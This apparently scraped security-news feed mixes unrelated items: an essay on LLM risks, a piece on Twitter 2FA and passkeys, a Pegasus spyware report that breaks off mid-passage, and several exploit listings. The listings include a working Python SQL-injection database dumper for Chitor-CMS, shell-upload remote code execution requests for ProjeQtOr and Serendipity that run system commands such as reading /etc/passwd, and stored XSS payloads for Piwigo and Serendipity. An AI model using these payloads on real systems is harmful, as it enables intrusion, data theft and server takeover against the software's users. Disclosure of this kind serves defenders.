Today's LLMs pose too many trust and security risks.

_The Berryville Institute of Machine Learning (BIML) recently attended_ _Calypso AI’s Accelerate AI 2023_ _conference in Washington, DC. The meeting included practitioners from both government and industry, regulators, and academics. I participated in a very timely panel entitled "Emerging Risks and Opportunities of LLMs in the NATSEC and Beyond." That panel spurred this article._

_None of the content in this column was created by an LLM._

Large language models (LLMs) are a kind of machine learning system that has taken the world by storm. ChaptGPT (aka GPT-3.5), an LLM produced and fielded by OpenAI, is one of the most pervasive and popular of the many generative AI models for text. Other generative models include the image generators Dall-E, Midjourney, and Stable Diffusion, and the code generator Copilot.

LLMs and other generative tools present incredible opportunities for applications, and the rush to field such systems is in full gallop. LLMs have the potential to be lots of fun, solve hard problems in science, help with the thorny problems of knowledge management, create interesting content, and most importantly in my view, move the world a little closer to artificial general intelligence (AGI) and a theory of representation that produces massive cognitive science breakthroughs.

But using today's nascent LLMs — and any generative AI tools — comes with real risks.

**Of Parrots and Pollution**

LLMs are trained on massive corpuses of information (300 billion words, mostly scraped from the Internet) and use auto-association to predict the next word in a sentence. As such, most scientists agree that LLMs do not really "understand" anything or do any real thinking. Rather, they are "stochastic parrots," as some researchers call them. LLMs still do generate impressive streams of text, in context, and in an often useful and deeply surprising manner.

Feedback loops are an important class of problem in all kinds of ML models (and one that BIML introduced several years ago as “\[raw:8:looping\]”). Here is what we said at the time:

_Model confounded by subtle feedback loops. If data output from the model are later used as input back into the same model, what happens? Note that this is rumored to have happened to Google translate in the early days when translations of pages made by the machine were used to train the machine itself. Hilarity ensued. To this day, Google restricts some translated search results through its own policies_.

Imagine what will happen when a majority of what can be easily scraped from the Internet is generated by AI models of dubious quality, and then these LLMs start to eat their own tails. Talk about information pollution.

Some AI researchers and information security professionals are already deeply worried about information pollution today, but an infinite spewing information pollution pipeline sounds bad.

**Mansplaining-as-a-Service**

LLMs are very good B.S. artists. These models regularly express incorrect opinions and alternative facts with great confidence, and often make up information to justify their answers in a conversation (including pretend scientific references). Imagine what happens when average knowledge as scraped from the Internet — which includes lots of wrong things — is used to create new content.

The ultimate "reply guy" is not who we need writing news stories for us in the future. Facts actually do matter.

**Mirroring Broken Security**

LLMs are often trained on data that is biased in many ways. Sexist, racist, xenophobic, and misogynistic systems can and will be modeled from data sets originally collected when society was less progressive. Bias is a serious issue in LLMs, and one that operational Band-Aids are unlikely to fix.

**Trusting Deepfakes**

Deepfakes are a side effect of generative AI that has been discussed for some time. Fakes or spoofing are always a risk in security, but the capacity to make higher-quality fakes that are easy to believe is here. There are some obvious worst-case scenarios: moving markets, causing wars, inflaming cultural divides, and so on. Careful where that video came from.

**Automating Everything**

Generative models like LLMs have the capacity to replace lots of jobs, including low-level white collar jobs. Millions of people get plenty of satisfaction out of their jobs, but what if all of those jobs are willy-nilly replaced by ML systems that are cheaper to operate? We already see this with some writing content-creation jobs in local sports stories and marketing copy, for example. Should LLMs be writing our articles? Should they be practicing law? How about doing medical diagnosis?

**Using a Tool for Evil**

Generative AI can create some fun stuff. If you haven’t played with ChapGPT, you should give it a shot. I haven’t had this much fun with new technology since I got my first Apple \]\[+ in 1981, or since Java applets came out in 1995.

But the power of generative AI can be used for evil as well. For example, what if we put ML to the task of designing a novel virus with the propagation capability of COVID and the delayed onset parameters of rabies? Or how about the task of creating a plant with pollen that is also a neurotoxin. If I can think up these dastardly things in my kitchen, what happens when a real evil person starts brainstorming with ML?

Tools have no intrinsic morality or ethics. And for the record, the idea of "protecting prompts" is a pretend solution akin to protecting supercomputer access with command-line filtering.

**Holding Information in a Broken Cup**

Data moats are a thing now. That’s because if an ML model (with the help of humans) can get to your data and learn how to profitably parrot what you do by training on your data, it will. This leads to multiple risks best solved by carefully protecting your data sets instead of cramming them unto an ML model and fielding the model to the general public. In the gold rush world of ML, the gold is data.

Protecting data is harder than it sounds. Think how the government's current information classification system can't always protect classified information. Clearly, protecting sensitive and confidential information is already a huge challenge, so imagine what happens when we intentionally train up our ML systems on confidential information and set them out into the world.

Extraction and transfer attacks exist today, so be careful what you pour in your ML cup.

**What Should We Do About LLM Risk?**

So should we put some kind of magic moratorium on ML research for a few months as some technologists have self-servingly suggested? No, that's just silly. What we need to do is recognize these risks and face them directly.

The good news is that an entire industry is being built around securing ML systems, which I call machine learning security or MLsec. Check out what these new hot startups are building to control ML risk — but do so with a skeptical and well-informed eye.

Expert Insight: Dangers of Using Large Language Models Before They Are Baked

Overcoming the limitations of consumer MFA with a new flavor of passwordless.

Twitter recently disabled SMS-based two-factor authentication (2FA) except for Twitter Blue subscribers. While the intended results may be cost-savings and boosting the number of subscribers, the decision is likely to have unintended security consequences. Even some tech-savvy people who know and care about security find Twitter's 2FA alternatives awkward enough to delay until they are forced into it, so Twitter's new policy will likely result in fewer accounts using 2FA. Educating users about how to set up authenticator apps and security keys is one solution. But that's analogous to building a faster horse.

Fundamentally, the enterprise 2FA playbook cannot be applied to consumer scenarios in equal measure because consumers can vote with their feet. Any added step will send them galloping into the arms of the competition. Thus, the Twitter news should be a call for disruption, and for solutions that protect consumer identities without introducing friction. I believe that technology is passkeys when available uniformly across the digital landscape.

**The State of Consumer MFA**

It’s broadly accepted that any multifactor authentication (MFA) is better than no MFA (I’ll use MFA here to mean authenticating your identity with two or more factors). MFA solutions prevent bad actors from accessing resources using only a victim's primary credentials. Our CISO once observed that MFA and adaptive authentication would have prevented 95% of the breaches she has seen.

But not all MFA is created equal. Some factors are weaker than others, particularly against targeted attacks. Security questions, SMS, voice, and email-based one-time passwords are considered low-assurance factors. All these factors are vulnerable to phishing. Attackers can bypass weaker factors by "guessing" the authenticator code; intercepting the code-containing SMS; or creating "alert fatigue" by bombarding the user with messages until they complete the MFA challenge.

**MFA Bypass Attacks**

Recent research found more than 113 million MFA bypass (registration required) attempts against consumer and SaaS applications over a 90-day period, representing the highest baseline level of attacks of any year on record. Given what we know about weaker factors, you'd be forgiven for thinking Twitter's decision to disable text-based authentication is a good one. But as with most things in identity, there is more complexity that meets the eye, particularly when we look at MFA adoption issues.

**The Trouble With MFA Adoption**

The challenge of getting users to sign up for any form of MFA lies in the technology's origin story. Passwords predate modern online services by thousands of years (just think about "Open, Sesame" in "Ali Baba and the 40 Thieves"). Two-factor authentication entered the picture much later as a way for enterprises and governments to protect their internal systems with something you know (password) and something you have (device, code, or security key).

Technologies developed in an enterprise context have historically prioritized security. The administrator has the power to enforce security measures across the employee base to protect the company's interests. When organizations try to use the same playbook with consumers, they fail, because consumers can vote with their feet. And the impact can quickly become existential.

So, what about authenticator apps? For us in the industry, this might look like the obvious technical alternative to SMS-based methods. But few end users are this digitally savvy. The more likely result of forcing something like an authenticator app or security key at scale is that people just won't use it.

**Phishing-Resistant Authentication**

The transition to phishing-resistant factors offers one potential solution to consumer MFA woes. FIDO and WebAuthn rely on public key cryptography and biometrics to significantly improve both security and the user experience. When using public key cryptography, there are no codes or secrets to be stolen. Users go through a biometric check on their device to unlock access to their private key, which is way faster than entering an SMS code. There are nuances in how biometric data is validated that can make a big difference for data privacy and security.

**The Passkeys Opportunity**

Despite exciting progress toward more secure and usable factors, the best MFA mechanism for consumers really isn't MFA at all — it's passkeys. Passkeys are a FIDO authenticator with the advantage of being backed up to the cloud, so if you lose your device or buy a new one, all you must do is sign into your iCloud or Google Play account to recover your passkeys. Passkeys use public key cryptography and device biometrics, making them resistant to many known attacks, and are easy for the user.

Should passkeys have been used on Twitter? Absolutely, but they may not have been a clear option at the time. Supporting something new is always expensive from the engineering perspective. If passkeys had been an option, the experience for the user might have looked something like this:

1.  The user signs into Twitter on their mobile device with username and password;
2.  They are asked if they would like to use a passkey to authenticate next time; and
3.  The user receives a biometric prompt from then on without needing to install anything. They can even go to their Mac and open Twitter in Safari, and the passkey will be automatically synced to that device.

Offering passkey authentication currently requires some reworking, but it's easier and more cost-effective than SMS. Unfortunately, passkeys are not yet uniformly distributed. Apple added support early on, followed by Android and Chrome. Windows currently supports passkeys on a single device.

Whenever you're asking people to change, you need to take concrete steps to make the transition easier. In the case of Twitter, that would be explaining to users what they can do to change their second factor, to avoid them dropping MFA entirely. This would be an amazing passkey adoption opportunity if the industry were ready. We're already in a fantastic position to encourage people to use this flavor of passwordless. What comes next is making it easier for developers to implement the necessary changes in their apps and websites. A future with fewer passwords may not be so far away after all.

Twitter's 2FA Policy Is a Call for Passkey Disruption

Chitor-CMS version 1.1.2 suffers from a remote SQL injection vulnerability.

    #!/usr/bin/python3########################################################                                                     # #  Exploit Title: Chitor-CMS v1.1.2 - Pre-Auth SQL Injection          ##  Date: 2023/04/13               ##  ExploitAuthor: msd0pe                                  ##  Project: https://github.com/waqaskanju/Chitor-CMS  ##  My Github: https://github.com/msd0pe-1             ##  Patched the 2023/04/16: 69d3442 commit             ##                                                     ########################################################__description__ = 'Chitor-CMS < 1.1.2 Pre-Auth SQL Injection.'__author__ = 'msd0pe'__version__ = '1.1'__date__ = '2023/04/13'class bcolors:    PURPLE = '\033[95m'    BLUE = '\033[94m'    GREEN = '\033[92m'    OCRA = '\033[93m'    RED = '\033[91m'    CYAN = '\033[96m'    ENDC = '\033[0m'    BOLD = '\033[1m'    UNDERLINE = '\033[4m'class infos:    INFO = "[" + bcolors.OCRA + bcolors.BOLD + "?" + bcolors.ENDC + bcolors.ENDC + "] "    ERROR = "[" + bcolors.RED + bcolors.BOLD + "X" + bcolors.ENDC + bcolors.ENDC + "] "    GOOD = "[" + bcolors.GREEN + bcolors.BOLD + "+" + bcolors.ENDC + bcolors.ENDC + "] "    PROCESS = "[" + bcolors.BLUE + bcolors.BOLD + "*" + bcolors.ENDC + bcolors.ENDC + "] "import reimport requestsimport optparsefrom prettytable import PrettyTabledef DumpTable(url, database, table):    header = {"User-Agent": "5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"}    x = PrettyTable()    columns = []    payload = "/edit_school.php?id=-2164' UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2Ccolumn_name))%2C0x716a6b6271) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=\"" + table + "\" AND table_schema=\"" + database + "\"-- -"    u = requests.get(url + payload, headers=header)    try:        r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text)        r = r[0].replace('\"',"").split(',')        if r == []:            pass        else:            for i in r:                columns.append(i)                pass    except:        pass    x.field_names = columns    payload = "/edit_school.php?id=-2164' UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2C " + str(columns).replace("[","").replace("]","").replace("\'","").replace(" ","") + "))%2C0x716a6b6271) FROM " + database + "." + table + "-- -"    u = requests.get(url + payload, headers=header)    try:        r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text)        r = r[0].replace('\"',"").split(',')        if r == []:            pass        else:            for i in r:                i = i.split("xzmdpl")                x.add_rows([i])    except ValueError:        r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text)        r = r[0].replace('\"',"").split(',')        if r == []:            pass        else:            for i in r:                i = i.split("xzmdpl")                i.append("")                x.add_rows([i])            print(x)def ListTables(url, database):    header = {"User-Agent": "5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"}    x = PrettyTable()    x.field_names = ["TABLES"]    payload = "/edit_school.php?id=-2164' UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2Ctable_name))%2C0x716a6b6271) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x" + str(database).encode('utf-8').hex() + ")-- -"    u = requests.get(url + payload, headers=header)    try:        r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text)        r = r[0].replace('\"',"").split(',')        if r == []:            pass        else:            for i in r:                x.add_row([i])    except:        pass    print(x)def ListDatabases(url):    header = {"User-Agent": "5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"}    x = PrettyTable()    x.field_names = ["DATABASES"]    payload = "/edit_school.php?id=-2164' UNION ALL SELECT NULL%2CNULL%2CCONCAT(0x71707a6b71%2CJSON_ARRAYAGG(CONCAT_WS(0x787a6d64706c%2Cschema_name))%2C0x716a6b6271) FROM INFORMATION_SCHEMA.SCHEMATA-- -"    u = requests.get(url + payload, headers=header)    try:        r = re.findall("qpzkq\[(.*?)\]qjkbq",u.text)        r = r[0].replace('\"',"").split(',')        if r == []:            pass        else:            for i in r:                x.add_row([i])    except:        pass    print(x)def Main():    Menu = optparse.OptionParser(usage='python %prog [options]', version='%prog ' + __version__)    Menu.add_option('-u', '--url', type="str", dest="url", help='target url')    Menu.add_option('--dbs', action="store_true", dest="l_databases", help='list databases')    Menu.add_option('-D', '--db', type="str", dest="database", help='select a database')    Menu.add_option('--tables', action="store_true", dest="l_tables", help='list tables')    Menu.add_option('-T', '--table', type="str", dest="table", help='select a table')    Menu.add_option('--dump', action="store_true", dest="dump", help='dump the content')    (options, args) = Menu.parse_args()    Examples = optparse.OptionGroup(Menu, "Examples", """python3 chitor1.1.py -u http://127.0.0.1 --dbs                                                         python3 chitor1.1.py -u http://127.0.0.1 -D chitor_db --tables                                                         python3 chitor1.1.py -u http://127.0.0.1 -D chitor_db -T login --dump    """)    Menu.add_option_group(Examples)    if len(args) != 0 or options == {'url': None, 'l_databases': None, 'database': None, 'l_tables': None, 'table': None, 'dump': None}:        Menu.print_help()        print('')        print('  %s' % __description__)        print('  Source code put in public domain by ' + bcolors.PURPLE + bcolors.BOLD + 'msd0pe' + bcolors.ENDC + bcolors.ENDC + ',' + bcolors.RED + bcolors.BOLD + 'no Copyright' + bcolors.ENDC + bcolors.ENDC)        print('  Any malicious or illegal activity may be punishable by law')        print('  Use at your own risk')    elif len(args) == 0:        try:            if options.url != None:                if options.l_databases != None:                    ListDatabases(options.url)                if options.database != None:                    if options.l_tables != None:                        ListTables(options.url, options.database)                    if options.table != None:                        if options.dump != None:                            DumpTable(options.url, options.database, options.table)        except:            print("Unexpected error")if __name__ == '__main__':    try:        Main()    except KeyboardInterrupt:        print()        print(infos.PROCESS + "Exiting...")        print()        exit(1)

Chitor-CMS 1.1.2 SQL Injection

ProjeQtOr Project Management System version 10.3.2 suffers from a remote shell upload vulnerability.

Exploit Title: ProjeQtOr Project Management System 10.3.2   -Remote Code Execution (RCE)  
Application: ProjeQtOr Project Management System  
Version: 10.3.2  
Bugs:  Remote Code Execution (RCE) (Authenticated) via file upload  
Technology: PHP  
Vendor URL: https://www.projeqtor.org  
Software Link: https://sourceforge.net/projects/projectorria/files/projeqtorV10.3.2.zip/download  
Date of found: 19.04.2023  
Author: Mirabbas Ağalarov  
Tested on: Linux 

2. Technical Details & POC  
========================================  
Possible including php file with phar extension while uploading image. Rce is triggered when we visit again

Payload:<?php echo system("id"); ?>

poc request:

POST /projeqtor/tool/saveAttachment.php?csrfToken= HTTP/1.1  
Host: localhost  
Content-Length: 1177  
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"  
Accept: application/json  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryY0bpJaQzcvQberWR  
X-Requested-With: XMLHttpRequest  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36  
sec-ch-ua-platform: "Linux"  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/projeqtor/view/main.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: currency=USD; PHPSESSID=2mmnca4p7m93q1nmbg6alskiic  
Connection: close

------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentFiles[]"; filename="miri.phar"  
Content-Type: application/octet-stream

<?php echo system("id"); ?>

------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentId"

------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentRefType"

User  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentRefId"

1  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentType"

file  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10485760  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentLink"

------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentDescription"

------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="attachmentPrivacy"

1  
------WebKitFormBoundaryY0bpJaQzcvQberWR  
Content-Disposition: form-data; name="uploadType"

html5  
------WebKitFormBoundaryY0bpJaQzcvQberWR--

visit: http://localhost/projeqtor/files/attach/attachment_5/miri.phar

ProjeQtOr Project Management System 10.3.2 Shell Upload

Piwigo version 13.6.0 suffers from a persistent cross site scripting vulnerability.

    Exploit Title: Piwigo 13.6.0 - Stored Cross-Site Scripting (XSS)Application: PiwigoVersion: 13.6.0 Bugs:  Stored XSSTechnology: PHPVendor URL: https://piwigo.org/Software Link: https://piwigo.org/get-piwigoDate of found: 18.04.2023Author: Mirabbas AğalarovTested on: Linux 2. Technical Details & POC========================================steps: 1.After uploading the image, we write <img%20src=x%20onerror=alert(4)> instead of the tag(keyword) while editing the image)payload: <img%20src=x%20onerror=alert(4)>POST /piwigo/admin.php?page=photo-9 HTTP/1.1Host: localhostContent-Length: 159Cache-Control: max-age=0sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Linux"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/piwigo/admin.php?page=photo-9Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: pwg_id=u7tjlue5o3vj7fbgb0ikodmb9m; phavsz=1394x860x1; pwg_display_thumbnail=display_thumbnail_classic; pwg_tags_per_page=100; phpbb3_ay432_k=; phpbb3_ay432_u=2; phpbb3_ay432_sid=9240ca5fb9f93c8ebc8ff7bd42c380feConnection: closename=Untitled&author=&date_creation=&associate%5B%5D=1&tags%5B%5D=<img%20src=x%20onerror=alert(3)>&description=&level=0&pwg_token=bad904d2c7ec866bfba391bfc130ddd2&submit=Save+settings

Piwigo 13.6.0 Cross Site Scripting

Serendipity version 2.4.0 suffers from a cross site scripting vulnerability.

    Exploit Title: Serendipity 2.4.0 - Cross-Site Scripting (XSS)Author: Mirabbas AğalarovApplication: SerendipityVersion: 2.4.0Bugs:  Stored XSSTechnology: PHPVendor URL: https://docs.s9y.org/Software Link: https://docs.s9y.org/downloads.htmlDate of found: 13.04.2023Tested on: Linux 2. Technical Details & POC========================================steps: 1.Anyone who has the authority to create the new entry can do thispayload: hello%3Cimg+src%3Dx+onerror%3Dalert%283%29%3EPOST /serendipity/serendipity_admin.php? HTTP/1.1Host: localhostContent-Length: 730Cache-Control: max-age=0sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Linux"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://localhost/serendipity/serendipity_admin.php?serendipity[adminModule]=entries&serendipity[adminAction]=newAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: serendipity[old_session]=st6cvq3rea6l8dqgjs1nla6s1b; serendipity[author_token]=c74c7da50976c82e628d7a8dfdb7c9e3ebc8188b; serendipity[toggle_extended]=; serendipity[entrylist_filter_author]=; serendipity[entrylist_filter_category]=; serendipity[entrylist_filter_isdraft]=; serendipity[entrylist_sort_perPage]=; serendipity[entrylist_sort_ordermode]=; serendipity[entrylist_sort_order]=; s9y_6991e531dd149036decdb14ae857486a=st6cvq3rea6l8dqgjs1nla6s1bConnection: closeserendipity%5Baction%5D=admin&serendipity%5BadminModule%5D=entries&serendipity%5BadminAction%5D=save&serendipity%5Bid%5D=&serendipity%5Btimestamp%5D=1681366826&serendipity%5Bpreview%5D=false&serendipity%5Btoken%5D=ae9b8ae35a756c24f9552a021ee81d56&serendipity%5Btitle%5D=asdf&serendipity%5Bbody%5D=hello%3Cimg+src%3Dx+onerror%3Dalert%283%29%3E&serendipity%5Bextended%5D=&serendipity%5Bchk_timestamp%5D=1681366826&serendipity%5Bnew_date%5D=2023-04-13&serendipity%5Bnew_time%5D=10%3A20&serendipity%5Bisdraft%5D=false&serendipity%5Ballow_comments%5D=true&serendipity%5Bpropertyform%5D=true&serendipity%5Bproperties%5D%5Baccess%5D=public&ignore_password=&serendipity%5Bproperties%5D%5Bentrypassword%5D=&serendipity%5Bchange_author%5D=12. visit the entry you created

Serendipity 2.4.0 Cross Site Scripting

Serendipity version 2.4.0 suffers from a remote shell upload vulnerability.

Exploit Title: Serendipity 2.4.0  - Remote Code Execution (RCE) (Authenticated)  
Application: Serendipity   
Version:  2.4.0   
Bugs:  Remote Code Execution (RCE) (Authenticated) via file upload  
Technology: PHP  
Vendor URL: https://docs.s9y.org/  
Software Link: https://docs.s9y.org/downloads.html  
Date of found: 13.04.2023  
Author: Mirabbas Ağalarov  
Tested on: Linux 

2. Technical Details & POC  
========================================  
If we load the poc.phar file in the image field while creating a category, we can run commands on the system.  
<?php echo system("cat /etc/passwd"); ?>  
 I wrote a file with the above payload, a poc.phar extension, and uploaded it.

Visit to http://localhost/serendipity/uploads/poc.phar

poc request:

POST /serendipity/serendipity_admin.php?serendipity[adminModule]=media&serendipity[htmltarget]=category_icon&serendipity[filename_only]=true&serendipity[noBanner]=true&serendipity[noSidebar]=true&serendipity[noFooter]=true&serendipity[showUpload]=true&serendipity[showMediaToolbar]=false&serendipity[sortorder][perpage]=8&serendipity[sortorder][order]=i.date&serendipity[sortorder][ordermode]=DESC HTTP/1.1  
Host: localhost  
Content-Length: 1561  
Cache-Control: max-age=0  
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Linux"  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZWKPiba66PSVGQzc  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: iframe  
Referer: http://localhost/serendipity/serendipity_admin.php?serendipity[adminModule]=media&serendipity[adminAction]=addSelect&serendipity[adminModule]=media&serendipity[htmltarget]=category_icon&serendipity[filename_only]=true&serendipity[noBanner]=true&serendipity[noSidebar]=true&serendipity[noFooter]=true&serendipity[showUpload]=true&serendipity[showMediaToolbar]=false&serendipity[sortorder][perpage]=8&serendipity[sortorder][order]=i.date&serendipity[sortorder][ordermode]=DESC  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: serendipity[old_session]=st6cvq3rea6l8dqgjs1nla6s1b; serendipity[author_token]=430b341df3f78f52691c8cf935fa04e1c05854df; serendipity[toggle_extended]=; serendipity[entrylist_filter_author]=; serendipity[entrylist_filter_category]=; serendipity[entrylist_filter_isdraft]=; serendipity[entrylist_sort_perPage]=; serendipity[entrylist_sort_ordermode]=; serendipity[entrylist_sort_order]=; serendipity[only_path]=; serendipity[only_filename]=; serendipity[hideSubdirFiles]=; serendipity[addmedia_directory]=; serendipity[sortorder_perpage]=8; serendipity[sortorder_order]=i.date; serendipity[sortorder_ordermode]=DESC; serendipity[filter][i.date][from]=; serendipity[filter][i.date][to]=; serendipity[filter][i.name]=; serendipity[imgThumbWidth]=400; serendipity[imgThumbHeight]=267; serendipity[imgWidth]=1000; serendipity[imgHeight]=667; serendipity[imgID]=1; serendipity[baseURL]=http%3A//localhost/serendipity/; serendipity[indexFile]=index.php; serendipity[imgName]=/serendipity/uploads/photo-1575936123452-b67c3203c357.jpeg; serendipity[thumbName]=/serendipity/uploads/photo-1575936123452-b67c3203c357.serendipityThumb.jpeg; serendipity[hotlink]=; serendipity[serendipity_htmltarget]=category_icon; serendipity[serendipity_filename_only]=true; serendipity[serendipity_linkThumbnail]=no; serendipity[]=Done; accessibletab_mediaupload_tabs_active=0; serendipity[filter][fileCategory]=; s9y_6991e531dd149036decdb14ae857486a=st6cvq3rea6l8dqgjs1nla6s1b  
Connection: close

------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[token]"

ae9b8ae35a756c24f9552a021ee81d56  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[action]"

admin  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[adminModule]"

media  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[adminAction]"

add  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[userfile][1]"; filename="poc.phar"  
Content-Type: application/octet-stream

<?php echo system("cat /etc/passwd");?>

------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[target_filename][1]"

poc.phar  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[target_directory][1]"

------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[column_count][1]"

true  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[imageurl]"

------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[imageimporttype]"

image  
------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[target_filename][]"

------WebKitFormBoundaryZWKPiba66PSVGQzc  
Content-Disposition: form-data; name="serendipity[target_directory][]"

------WebKitFormBoundaryZWKPiba66PSVGQzc--

poc video :  https://youtu.be/_VrrKOTywgo

Serendipity 2.4.0 Shell Upload

Campaigns that wielded NSO Group's Pegasus against high-risk users over a six-month period demonstrate the growing sophistication and relentless nature of spyware actors.

Attackers have been targeting iPhone users around the globe in ongoing Pegasus spyware attacks. They show that cyber-threat actors are targeting both new exploits and older, unupdated devices to circumvent new preventative measures from Apple, researchers have found.

One of the multiple targeted campaigns observed over the last six months involved an iPhone user in the Middle East, and another a journalist in Europe using an iPhone 6 that is not supported by the latest iOS updates, researchers at Jamf Threat Labs reported in a recent blog post. Those updates include new threat "Lockdown Mode" notifications by Apple that can help warn someone if there is unusual activity that could be related to spyware on their devices.

The attacks demonstrate how threat actors continue to evolve and grow in sophistication even as there is more awareness about spyware and prevention against these attacks, which are often used with malicious intent by governments to target dissidents or others who investigate or are unsupportive of policies or regimes, the researchers said.

"Modern spyware is very advanced and, as evidenced by the continued evolution of commercial spyware, continues to leverage zero-day vulnerabilities in both old and new devices to ensure any user can be effectively targeted," the researchers wrote in the post.

They also indicate that though the researchers were able to take a deep dive into devices involved in some of the recent attacks, there is no consistency in terms of how the individuals or organizations targeted investigate attacks after the fact. This makes it difficult to respond or prevent further attacks in a timely or comprehensive way, the researchers said.

Moreover, "not all users impacted by spyware have been contacted by Apple, illustrating the challenges with maintaining a comprehensive list of indicators of compromise (IoCs) and with extracting relevant data remotely," they wrote.

**Mideast Activist Targeted**

Researchers specifically detailed two separate attacks that demonstrate how no iPhone is safe from being targeted, despite Apple's bolstering of preventative measures in its most recent updates to iOS.

One attack targeted an iPhone 12 Pro Max user in the Middle East who eventually was notified by Apple of suspicious activity on the device, which showed IoCs that Pegasus — the notorious spyware from Israel's NSO Group — was running.

Subsequent analysis from Jamf Threat Labs revealed traces of the "libtouchregd" process on the device, which Amnesty International has identified as an IoC associated with Pegasus spyware, the researchers said.

The device also yielded additional IoCs via subsequent analysis of the com.apple.CrashReporter.plist file, which is located within a root folder on iOS and serves as a configuration file for the system daemon, ReportCrash, according to the researchers.

"Under normal operating conditions, applications are not granted permission to access or modify this file," the researchers wrote. "Alteration of this file could potentially impede the reporting of crash report logs to Apple. Additionally, the existence of the file is rare for normal users."

